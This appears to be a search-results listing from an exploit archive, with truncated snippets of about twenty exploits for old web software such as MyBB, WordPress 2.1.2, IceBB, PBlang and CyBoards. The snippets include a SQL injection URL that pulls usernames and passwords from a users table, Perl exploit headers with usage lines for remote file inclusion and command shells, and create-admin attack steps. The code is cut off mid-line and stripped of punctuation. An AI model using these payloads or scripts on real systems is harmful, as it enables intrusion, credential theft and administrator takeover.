1533 matches found
TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= TutorialCMS alert'http://www.w4ck1ng.com' PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, password,0,0,0,0,0,0,0 FROM users WHERE id='1' / Subject To:...
phphtmllib-rfi.txt
!/usr/bin/perl use LWP::UserAgent; / + - AYYILDIZ TEAM // AYYILDIZ.ORG + + + - PHPHtmlLib mynetcom - - info: / Siz Yokken AYYILDIZ Vardi / + + + - tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG - - h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com ! + + usage: perl exploit....
PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion
PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...
phpwind 5.0.1 SQL Injection Vulnerability Exploit
No description provided by source. 0 ? intval$argv3:1; echo "\r\nLogging\t........"; ifislogin echo "Login Ok!\r\n"; else die"Not Login!\tCheck Your Cookie and Useragent!\r\n"; echo "Testing\t........"; iftest echo "Vul!\r\n"; else di...
MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard = 1.2.5 Remote SQL Injection Exploit \n"; print " Bug found and Exploit coded by 0x86 \n"; print "  ...
MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection
!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard \n"; print " Example: perl mybb.pl www.host.com /mybb/ -u 5 \n"; print " \n"; print " Options: \n"; print " -u User-ID, default: 1 \n"; print " -p Proxy support \n"; print " \n"; exit;...
ivan-rfi.txt
!/usr/bin/perl Ivan Gallery Script V.0.1 index.php Remote File Include Exploit Coded by SekoMirza & HypNosis Usage: exploit.pl target cmd shell shell variable Greetings: Sh4dowM4n , PhanTOmOrhcid , Starhack.0rg , CaRaMeL , MBrain! , and all Turkishz Hackerzz Vulnerable Code:...
mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit
No description provided by source. !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx;...
mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion
mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code:...
mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion
!/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx; Vendor:...
Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit
Exploit for unknown platform in category dos / poc ====================================================================== Wserve HTTP Server 4.6 Long Directory Name Denial of Service Exploit ====================================================================== !perl Wserve HTTP Server 4.6 Versio...
cyboards-rfi.txt
!/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: include"$scriptpath/include/defaultstyle.css"; Vendor:...
Wserve HTTP Server 4.6 - Long Directory Name Denial of Service
Wserve HTTP Server 4.6 - Long Directory Name Denial of Service !perl Wserve HTTP Server 4.6 Version Long Directory Name Buffer Overflow - Denial Of Service Type : Buffer Overflow - Denial of Service Release Date : 2007-04-05 Product / Vendor : Wserve HTTP Server...
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Credits: [email protected] Thanks to ferruh [email protected] improving my exploitation skills website:www.notsosecure.com Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when...
CyBoards PHP Lite 1.21 - 'script_path' Remote File Inclusion
!/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: include"$scriptpath/include/defaultstyle.css"; Vendor:...
CyBoards PHP Lite 1.21 (script_path) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================ CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit ================================================================ !/usr/bin/perl CyBoards PHP Lite 1.21 scriptpat...
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== Wordpress 2.1.2 xmlrpc Remote SQL Injection Exploit ===================================================== !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Wordpress version 2.1.2 is...
icebb-1.0.txt
!/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : - magicquotesgpc = Off Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use HTTP::Cookies;...
IceBB 1.0-rc5 - Remote Create Admin
!/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : - magicquotesgpc = Off Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use HTTP::Cookies;...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...